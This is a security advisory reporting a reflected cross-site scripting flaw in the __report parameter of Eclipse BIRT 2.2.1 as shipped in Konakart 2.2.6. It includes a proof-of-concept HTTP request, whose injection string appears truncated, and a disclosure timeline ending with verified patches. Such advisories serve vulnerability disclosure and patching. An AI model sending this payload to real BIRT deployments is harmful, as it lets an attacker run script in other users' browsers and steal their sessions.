Eclipse BIRT <= 2.2.1 Reflected XSS

Vendor: Eclipse
Advisory: http://antisnatchor.com/2008/12/18/eclipse-birt-reflected-xss/ 
Author:  Michele "euronymous" Orr=F9 (euronymous AT antisnatchor DOT com)

Quite a common problem in a lot of Java based applications: reflected
XSS in Java stack trace.

A Reflected XSS is present in the _report parameter: here below the modified
request (that is the BIRT 2.2.1 version included in Konakart 2.2.6)

GET
/birt-viewer/run?__report='">&r=-703171660
HTTP/1.1
Host: localhost:8780
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18)
Gecko/20081029 Firefox/2.0.0.18
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost:8780/konakartadmin/ 


Konakart is actually using org.eclipse.birt.core_2.2.1.r22x_v20070924, that is
actually old.

 - Disclosure timeline:
2008-12-17 11:04:15 EST : Vendor Contacted
2009-02-11 03:39:09 EST: Bug fix
2009-03-09 05:32:42 EDT: Patches verified on 2.5.0

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